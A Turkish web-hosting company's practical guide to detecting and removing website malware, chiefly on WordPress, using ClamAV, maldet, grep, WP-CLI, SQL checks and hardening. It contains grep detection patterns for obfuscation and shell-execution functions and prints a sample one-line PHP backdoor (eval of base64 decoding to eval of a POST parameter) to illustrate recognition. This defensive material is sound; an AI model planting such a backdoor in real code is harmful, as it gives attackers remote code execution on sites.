Güvenlik & SSL

    Site Malware Taraması ve Temizleme Rehberi

    Web sitesinde malware taramayı, enjekte kodu temizlemeyi ve yeniden bulaşmayı önlemeyi anlatan pratik rehber.

    12 dk okuma Güncellendi: 10 Temmuz 2026

    Bir sabah sitenizi açtığınızda arama sonuçlarında "Bu site zarar verebilir" uyarısıyla karşılaşmak, ziyaretçilerin bilmediğiniz bahis sitelerine yönlendirildiğini fark etmek ya da hosting sağlayıcınızdan "hesabınızdan spam gönderiliyor" e-postası almak; bunların hepsi aynı kök soruna işaret eder: siteye zararlı yazılım bulaşmıştır. Malware bulaşması artık yalnızca ihmal edilen sitelerin başına gelen bir olay değil. Otomatik botlar internetin tamamını tarayıp güncel olmayan eklentileri, zayıf parolaları ve yanlış yapılandırılmış izinleri saniyeler içinde bulur ve sömürür. Enjekte edilen kod çoğu zaman görünmez çalışır; site normal açılırken arka planda arama motoru sonuçlarını zehirler, kredi kartı bilgisi çalar veya sunucunuzu başka saldırılar için sıçrama tahtası yapar.

    Bu rehberde bir bulaşmayı baştan sona nasıl ele alacağınızı kıdemli bir sistem yöneticisinin gözünden anlatıyoruz. Sunucu ve dosya bazlı taramadan (ClamAV, maldet) harici tarayıcılara (Sucuri, VirusTotal), yaygın enjeksiyon kalıplarını elle bulmaktan çekirdek ve eklentilerin temiz yeniden kurulumuna, parola sıfırlamadan dosya bütünlüğü izlemeye kadar tüm zinciri kapsayacağız. Amacımız yalnızca kodu silmek değil; saldırganın nasıl girdiğini bulup kapıyı kalıcı olarak kapatmak. Çünkü temizlenip aynı açık üzerinden bir hafta sonra tekrar bulaşan bir site, hiç temizlenmemiş sayılır.

    Bulaşma Belirtileri ve İlk Tespit#

    Temizliğe başlamadan önce gerçekten bir malware olduğundan emin olmak gerekir. Belirtiler bazen çok açık, bazen sinsidir. En yaygın işaretler şunlardır: Google arama sonuçlarında sitenizin başlığı ya da açıklaması alakasız kelimelerle (ilaç, kumar, sahte marka ürünleri) değişmiş görünür; ziyaretçiler mobil cihazdan girince başka siteye yönlendirilir ama masaüstünde her şey normaldir; hosting paneli beklenmedik bir kaynak tüketimi (CPU, gönderilen e-posta sayısı) gösterir; ya da sunucunuzun IP'si spam kara listelerine düşer.

    İlk pratik kontrol, sitenizin dış görünümünü tarayıcının önbelleği olmadan incelemektir. Farklı cihaz ve ağlardan (mobil veri dahil) girin, çünkü bazı enjeksiyonlar yalnızca belirli User-Agent veya Referer değerlerinde tetiklenir. Sunucuya erişiminiz varsa son değişen dosyaları taramak en hızlı ipuçlarından birini verir:

    # Son 3 günde değişmiş PHP dosyalarını listele
    find /home/kullanici/public_html -name "*.php" -mtime -3 -printf "%TY-%Tm-%Td %TH:%TM  %p\n" | sort
    
    # En son değiştirilen 25 dosyayı göster (uzantı fark etmeksizin)
    find /home/kullanici/public_html -type f -printf "%T@ %p\n" | sort -nr | head -25
    

    Sitenizi elle güncellemediğiniz bir tarihte değişmiş çekirdek dosyaları görüyorsanız, bu neredeyse kesin bir bulaşma işaretidir. WordPress kullanıyorsanız wp-config.php, index.php ve wp-includes/ altındaki dosyaların değişiklik tarihlerine özellikle dikkat edin.

    Harici Tarayıcılarla Hızlı Teşhis#

    Sunucuya hiç dokunmadan, dışarıdan bakan tarayıcılar ilk teşhis için mükemmeldir çünkü bir ziyaretçinin ya da Google'ın gördüğü şeyi görürler. Bu araçlar sitenizin HTML çıktısını, yönlendirmelerini ve harici kaynak çağrılarını inceler.

    Sucuri SiteCheck (sitecheck.sucuri.net) sitenizin URL'sini girmeniz yeterli olan ücretsiz bir tarayıcıdır; bilinen malware imzalarını, kara liste durumunu ve şüpheli JavaScript enjeksiyonlarını raporlar. VirusTotal (virustotal.com) ise URL'yi 70'in üzerinde antivirüs ve güvenlik motoruyla aynı anda kontrol eder; hem sitenizin hem de sitenizin çağırdığı harici script'lerin itibarını görürsünüz. Google Search Console'daki "Güvenlik ve Manuel İşlemler" bölümü, Google'ın sitenizde tespit ettiği zararlı içeriği ve etkilenen örnek URL'leri doğrudan gösterir; bu, temizlik sonrası yeniden inceleme talep edeceğiniz yerdir.

    Bu tarayıcıların önemli bir sınırı vardır: yalnızca kamuya açık olarak sunulan zararlı davranışı görürler. Sunucuda pasif duran bir arka kapı (backdoor) ya da spam gönderen ama siteyi bozmayan bir betik dış taramada temiz görünebilir. Bu yüzden harici tarama teşhisi başlatır, temizliği bitirmez. Gerçek temizlik sunucu içinden yapılır.

    AraçKonumGüçlü YanıSınırı
    Sucuri SiteCheckHariciKara liste + görünür enjeksiyonSunucudaki gizli dosyaları görmez
    VirusTotalHariciÇoklu motor URL itibarıPasif arka kapıyı kaçırır
    Search ConsoleHariciGoogle'ın gördüğü örneklerYalnızca Google'ın taradığı sayfalar
    ClamAV / maldetSunucuDosya bazlı imza taramasıYeni/özel malware'i kaçırabilir

    Sunucu Tarafında Dosya Taraması: ClamAV ve maldet#

    Asıl temizlik sunucu üzerinde başlar. SSH erişiminiz olan bir VDS ya da sunucuda iki temel açık kaynak araç kullanırız: ClamAV (genel antivirüs motoru) ve Linux Malware Detect / maldet (özellikle web shell ve PHP malware imzalarına odaklı). İkisini birlikte kullanmak, birinin kaçırdığını diğerinin yakalama şansını artırır.

    ClamAV kurulumu ve güncel imza veritabanıyla tarama:

    # Debian/Ubuntu için kurulum
    apt update && apt install clamav clamav-daemon -y
    
    # İmza veritabanını güncelle
    freshclam
    
    # public_html dizinini tara, yalnızca bulunanları raporla, günlüğe yaz
    clamscan -r -i /home/kullanici/public_html --log=/root/clamscan-$(date +%F).log
    

    maldet, web ortamları için ayarlanmış tamamlayıcı bir tarayıcıdır. Kurulumu ve karantina davranışı şöyle çalışır:

    # maldet kurulumu
    cd /usr/local/src
    wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
    tar -xzf maldetect-current.tar.gz
    cd maldetect-*/ && ./install.sh
    
    # ClamAV motorunu kullanarak tara (daha hızlı ve isabetli)
    maldet --scan-all /home/kullanici/public_html
    
    # Son taramanın raporunu görüntüle (SCANID çıktıda verilir)
    maldet --report SCANID
    

    Önemli bir çalışma disiplini: tarayıcıya körü körüne güvenip otomatik silme (--quarantine) yapmayın, en azından ilk turda. Önce raporu inceleyin, işaretlenen dosyaları elle doğrulayın. Otomatik temizlik bazen meşru bir eklenti dosyasını silip siteyi tamamen çökertebilir. Doğru yaklaşım: tarayıcı size adayları verir, karar mercii sizsiniz. Temizlik öncesi mutlaka tam bir yedek alın; sağlam bir yedekleme stratejisi için cPanel yedekleme rehberimize göz atabilirsiniz.

    Enjekte Edilen Kodu Elle Bulmak#

    İmza tabanlı tarayıcılar bilinen zararlıları yakalar, ancak saldırganlar kodlarını sürekli değiştirir (obfuscation) ve yepyeni varyantlar üretir. Bu yüzden elle arama becerisi vazgeçilmezdir. Zararlı PHP kodunun neredeyse tamamı birkaç ortak kalıba dayanır: kodu gizlemek için base64_encode/base64_decode, çalıştırmak için eval, dışarıdan komut çekmek için gzinflate ve str_rot13, dinamik fonksiyon çağrısı için değişken fonksiyonlar. Bu kalıpları grep ile taramak çoğu enjeksiyonu ortaya çıkarır:

    # Klasik obfuscation kalıplarını ara
    grep -rEl --include="*.php" \
      "eval\s*\(|base64_decode|gzinflate|str_rot13|str_replace\(|create_function|assert\s*\(" \
      /home/kullanici/public_html
    
    # Uzun tek satırlık şüpheli kodları bul (obfuscate edilmiş dosyalar genelde tek dev satırdır)
    grep -rEl --include="*.php" ".{800,}" /home/kullanici/public_html
    
    # Dosyaların içinden dışarı bağlanan gizli sistem çağrılarını ara
    grep -rEl --include="*.php" "shell_exec|system\(|passthru|proc_open|popen|exec\(" /home/kullanici/public_html
    

    Bir dosyada şu tarzda bir satır görürseniz neredeyse kesin arka kapıdır:

    <?php eval(base64_decode("aWYoaXNzZXQoJF9QT1NUWyJ4Il0pKXtldmFsKCRfUE9TVFsieCJdKTt9")); ?>
    

    Bu örnekteki base64 dizesi çözüldüğünde if(isset($_POST["x"])){eval($_POST["x"]);} çıkar; yani saldırgan siteye x adında bir POST parametresi gönderdiğinde istediği PHP kodunu çalıştırabilir. Bu tam bir uzaktan kod çalıştırma kapısıdır.

    Gizli iframe ve yönlendirme enjeksiyonları için tema ve şablon dosyalarını da tarayın. HTML içine sıkıştırılmış görünmez iframe'ler tipik bir kalıptır:

    # Gizli iframe ve şüpheli harici script enjeksiyonlarını ara
    grep -rEl --include="*.php" --include="*.html" --include="*.js" \
      "iframe.{0,120}(display:\s*none|width=.?0|height=.?0)|document\.write\(unescape" \
      /home/kullanici/public_html
    

    Şüpheli bir dosya bulduğunuzda, silmeden önce onu başka bir yerdeki temiz kurulumla karşılaştırın. WordPress'te en güvenilir yöntem, çekirdek dosyaların resmi sürümle bit bazında aynı olup olmadığını kontrol etmektir; bunu bir sonraki bölümde WP-CLI ile yapacağız. Enjekte kod bulmayı ve WordPress'e özgü açıkları derinlemesine ele aldığımız WordPress güvenliği rehberimiz bu konuda tamamlayıcı bir kaynaktır.

    Çekirdek, Eklenti ve Tema Yeniden Kurulumu#

    Bir dosyayı tek tek temizlemeye çalışmak, özellikle çekirdek dosyalar için hem yavaş hem risklidir; gözden kaçan tek bir satır bütün emeği boşa çıkarır. Çok daha güvenli yol, kirlenmiş kodu tamamen atıp bilinen temiz sürümle değiştirmektir. WordPress bunun için mükemmel araçlar sunar. WP-CLI ile çekirdek bütünlüğünü doğrulayıp bozuk dosyaları tek komutla yeniden indirmek mümkündür:

    # Çekirdek dosyaların checksum doğrulaması — değişmiş dosyaları listeler
    wp core verify-checksums
    
    # Çekirdeği aynı sürümle tazeleyerek tüm çekirdek dosyaları temiz haliyle üzerine yaz
    wp core download --force --skip-content
    
    # Tüm eklentileri en güncel temiz sürümleriyle yeniden kur
    wp plugin list --field=name | xargs -I{} wp plugin install {} --force
    
    # Aktif temayı temiz sürümüyle yeniden kur
    wp theme install $(wp theme list --status=active --field=name) --force
    

    --skip-content bayrağı wp-content dizinine (temalar, eklentiler, yüklemeler) dokunmadan yalnızca çekirdeği yeniler; böylece kendi içeriğinizi korursunuz. Eklentileri "nulled" (korsan) sürümlerden değil, yalnızca resmi depodan ya da satıcının kendi sitesinden kurun. Bulaşmaların en yaygın kaynaklarından biri, ücretsiz dağıtılan korsan premium eklentilerin içine gömülmüş arka kapılardır.

    Dikkat edilmesi gereken kritik nokta: wp-config.php ve wp-content/uploads/ dizinini elle kontrol etmelisiniz, çünkü bunlar yeniden kurulumla değişmez. Saldırganlar sık sık uploads klasörüne .php dosyası bırakır (oysa orada asla PHP çalıştırılmamalıdır) ve wp-config.php içine gizli kod yerleştirir. Uploads içindeki tüm PHP dosyalarını bulmak için:

    find /home/kullanici/public_html/wp-content/uploads -name "*.php" -o -name "*.phtml" -o -name "*.php5"
    

    Bu komut herhangi bir sonuç döndürüyorsa, o dosyaların meşru olma ihtimali neredeyse sıfırdır; içeriğini doğrulayıp temizleyin. Manuel temizliğin karmaşıklaştığı, birden çok sitenin etkilendiği ya da kök erişimi gerektiren durumlarda sunucu yönetimi hizmetimiz veya WordPress bakım paketimiz ekiplerimize temizliği devredebilirsiniz.

    Veritabanı ve Parola Temizliği#

    Malware yalnızca dosyalarda yaşamaz; veritabanına da yerleşir. Özellikle spam yönlendirmeleri ve gizli bağlantı enjeksiyonları çoğunlukla wp_options, wp_posts ve wp_users tablolarında saklanır. Dosyaları temizleyip veritabanını atlarsanız, temizlik yarım kalır. Veritabanında zararlı script izlerini aramak için:

    -- Gönderi içeriğine enjekte edilmiş script/iframe ara
    SELECT ID, post_title FROM wp_posts
    WHERE post_content LIKE '%<script%'
       OR post_content LIKE '%<iframe%'
       OR post_content LIKE '%base64_%';
    
    -- Yetkisiz eklenmiş yönetici hesaplarını ve zararlı seçenekleri kontrol et
    SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC;
    

    Beklemediğiniz tarihlerde eklenmiş administrator rolündeki kullanıcılar büyük bir tehlike işaretidir; saldırgan kendine kalıcı bir yönetici hesabı açmış olabilir. Bu hesapları silmeden önce eklediği içerikleri de kontrol edin.

    Temizliğin en kritik ama en çok atlanan adımı tüm parolaların sıfırlanmasıdır. Saldırgan bir kez giriş bilgilerinizi ele geçirdiyse, dosyaları ne kadar temizlerseniz temizleyin aynı parolayla geri döner. Şu kimlik bilgilerinin hepsini yenileyin: WordPress/CMS yönetici hesapları, hosting paneli (cPanel) parolası, veritabanı kullanıcı parolası (wp-config.php içindeki DB_PASSWORD), FTP/SFTP ve SSH hesapları. WordPress'te tüm oturumları geçersiz kılmak için güvenlik anahtarlarını (salt) yenilemek de şarttır:

    # WP-CLI ile tüm oturumları sonlandır (yeni salt üretir)
    wp config shuffle-salts
    
    # Yönetici parolasını güçlü bir değerle değiştir
    wp user update admin --user_pass="$(openssl rand -base64 20)"
    

    Salt anahtarlarını yenilediğinizde, çalınmış çerezlerle açık kalan tüm saldırgan oturumları anında düşer. Bu tek adım, geri dönüşlerin büyük bölümünü engeller.

    Temizlik Sonrası Sertleştirme ve İzleme#

    Temizlik bittiğinde iş yeni başlıyor demektir. Aynı açık açık kaldıkça site tekrar bulaşır. Kalıcı korunma için birkaç katmanı birlikte uygulamak gerekir. İlk olarak, yükleme dizininde PHP çalıştırmayı sunucu düzeyinde yasaklayın; bu, en yaygın arka kapı yerleştirme yolunu kapatır:

    # Nginx — uploads içinde PHP çalıştırmayı engelle
    location ~* /wp-content/uploads/.*\.php$ {
        deny all;
        return 403;
    }
    

    Dosya izinlerini doğru ayarlamak da temeldir; dizinler 755, dosyalar 644, wp-config.php ise 640 olmalıdır. Yazılabilir olması gerekmeyen çekirdek dosyalara yazma izni vermek, enjeksiyonu kolaylaştırır:

    find /home/kullanici/public_html -type d -exec chmod 755 {} \;
    find /home/kullanici/public_html -type f -exec chmod 644 {} \;
    chmod 640 /home/kullanici/public_html/wp-config.php
    

    İkinci katman, dosya bütünlüğü izlemedir. Bir kez temizledikten sonra, dosyalarda beklenmedik değişiklikleri erkenden yakalamak istersiniz. Sunucu genelinde AIDE gibi bir bütünlük denetleyicisi kurabilir ya da WordPress'te Wordfence/Sucuri eklentisinin dosya değişikliği taramasını açabilirsiniz. Basit bir referans günlüğü bile işe yarar:

    # Temiz durumun checksum referansını al
    find /home/kullanici/public_html -type f -name "*.php" -exec sha256sum {} \; > /root/baseline-hashes.txt
    
    # Daha sonra değişiklikleri tespit et
    sha256sum -c /root/baseline-hashes.txt 2>/dev/null | grep -v ': OK$'
    

    Üçüncü katman, uygulama önünde çalışan bir web uygulaması güvenlik duvarıdır. WAF, kötü niyetli istekleri sitenize ulaşmadan önce filtreler; bilinen istismar kalıplarını, brute-force denemelerini ve kötü botları engeller. WAF hizmetimiz ve DDoS koruma çözümümüz bu katmanı yönetilen olarak sağlar. Bunları düzenli yedeklemeyle (yedekleme hizmeti), otomatik güncellemelerle ve güçlü parolalarla birleştirdiğinizde, saldırı yüzeyini dramatik biçimde daraltmış olursunuz. Kaynak yetersizliği nedeniyle sık güncelleme yapamadığınız paylaşımlı bir ortamdaysanız, izole kaynaklı bir VDS sunucuya ya da yönetimli bir WordPress hosting paketine geçmek de sürdürülebilir güvenliğin bir parçasıdır.

    Sıkça Sorulan Sorular#

    Sitem malware temizliği sonrası Google kara listesinden nasıl çıkar?#

    Temizliği tamamladıktan sonra Google Search Console'daki "Güvenlik Sorunları" bölümüne girip yeniden inceleme (review request) talebinde bulunmanız gerekir. Google botu sitenizi tekrar tarar ve zararlı içerik kalmadığını doğrularsa uyarıyı kaldırır; bu süreç genellikle birkaç saatten birkaç güne kadar sürer. İnceleme talebinden önce sitenin tamamen temiz olduğundan emin olun, çünkü reddedilen talepler sonraki incelemeleri yavaşlatabilir. Tarayıcı tabanlı uyarılar (Safe Browsing) için de aynı Search Console süreci geçerlidir.

    ClamAV ve maldet sitemi tamamen temizlediğinden emin miyim?#

    Hayır, hiçbir imza tabanlı tarayıcı yüzde yüz garanti vermez. ClamAV ve maldet bilinen zararlı imzalarını yakalar ama saldırganların özel olarak obfuscate ettiği yeni arka kapıları kaçırabilir. Bu yüzden otomatik taramayı her zaman elle grep aramaları, son değişen dosya kontrolü ve çekirdek checksum doğrulamasıyla birlikte kullanmalısınız. Katmanlı yaklaşım tek bir araca güvenmekten çok daha güvenilirdir; birinin kaçırdığını diğeri yakalar.

    Bulaşmadan önceki yedeği geri yüklesem yeterli olur mu?#

    Temiz bir yedeğiniz varsa geri yükleme hızlı bir çözüm olabilir, ancak tek başına yeterli değildir. Yedek, bulaşmanın kesin tarihinden öncesine ait olmalı ve o tarihi kesin olarak bilmek çoğu zaman zordur. Daha da önemlisi, saldırganın girdiği açık (güncel olmayan eklenti, zayıf parola) yedekte de var olduğundan, hiçbir sertleştirme yapmazsanız site kısa sürede tekrar bulaşır. Bu yüzden geri yükledikten sonra mutlaka tüm parolaları sıfırlayın, yazılımları güncelleyin ve giriş açığını kapatın.

    Paylaşımlı hostingte SSH erişimim yoksa nasıl tarama yaparım?#

    SSH erişiminiz olmasa bile birçok yol vardır. Hosting panelinizdeki (cPanel) Virus Scanner aracı ClamAV taramasını arayüzden çalıştırmanıza olanak tanır; Dosya Yöneticisi üzerinden son değişen dosyaları sıralayıp elle inceleyebilirsiniz. WordPress kullanıyorsanız Wordfence veya Sucuri gibi güvenlik eklentileri panel içinden tam tarama ve çekirdek karşılaştırması yapar. Ek olarak Sucuri SiteCheck ve VirusTotal gibi harici tarayıcılar sunucuya hiç dokunmadan görünür bulaşmaları tespit eder.

    Aynı site tekrar tekrar bulaşıyorsa ne yapmalıyım?#

    Tekrar eden bulaşma neredeyse her zaman gözden kaçan bir arka kapının ya da kapatılmamış bir giriş açığının işaretidir. Önce tüm dosya sisteminde web shell aramanızı derinleştirin; uploads, cache ve geçici dizinlerdeki gizli PHP dosyalarına özellikle bakın. Ardından hiç unutmadan tüm parolaları (panel, veritabanı, FTP, yönetici) yenileyin ve WordPress salt anahtarlarını sıfırlayın. Sorun devam ediyorsa, sunucu hesabında başka bir bulaşmış sitenin çapraz bulaştırma yaptığı ya da sunucu düzeyinde bir uzlaşma olabilir; bu durumda uzman bir ekiple sunucunun tamamının incelenmesi gerekir.

    Malware temizliği için profesyonel yardım almalı mıyım?#

    Basit ve erken yakalanmış bir bulaşmayı bu rehberdeki adımlarla kendiniz temizleyebilirsiniz. Ancak birden fazla site etkilenmişse, sunucuya kök düzeyinde bir uzlaşma söz konusuysa, e-ticaret gibi kritik ve müşteri verisi barındıran bir site söz konusuysa ya da tekrarlayan bulaşmaları durduramıyorsanız profesyonel destek almak hem zaman hem risk açısından mantıklıdır. Yönetilen bir hizmet, temizliğin yanı sıra kalıcı sertleştirme ve sürekli izleme de sağlar; böylece aynı sorunla tekrar uğraşmazsınız.

    Kapanış#

    Bir malware bulaşması can sıkıcıdır ama panik yapılacak bir felaket değildir. Doğru yaklaşım her zaman aynıdır: önce dıştan ve içten teşhis, sonra kirlenmiş kodu temiz sürümle değiştirme, ardından tüm kimlik bilgilerini yenileme ve en sonunda açığı kapatıp izlemeye alma. Bu zinciri eksiksiz uyguladığınızda site yalnızca temizlenmiş olmaz, bir daha aynı yoldan bulaşmayacak biçimde güçlenmiş olur. Temizliğin başarısı silinen dosya sayısıyla değil, saldırganın giriş kapısının kapanmış olmasıyla ölçülür.

    Sitenizi kalıcı olarak güvende tutmak için altyapıyı da güçlendirmek gerekir. İzole kaynaklı ve yönetimli bir ortam, sertleştirmeyi çok daha kolay hale getirir. Clou.TR'nin yönetimli WordPress hosting, VDS sunucu, WAF ve sunucu yönetimi çözümleriyle temizlikten sonra da uykularınızı kaçırmayacak bir güvenlik katmanı kurabilirsiniz. Uzman ekibimiz malware temizliğinden düzenli yedeklemeye kadar tüm süreçte yanınızda; ihtiyacınıza en uygun paketi birlikte belirleyelim.

    GüvenlikMalwareBakım

    Uygulamaya geçmeye hazır mısınız?

    NVMe SSD, ücretsiz SSL ve %99.9 uptime garantisiyle Clou.TR hosting ve sunucu çözümleriyle projenizi hayata geçirin.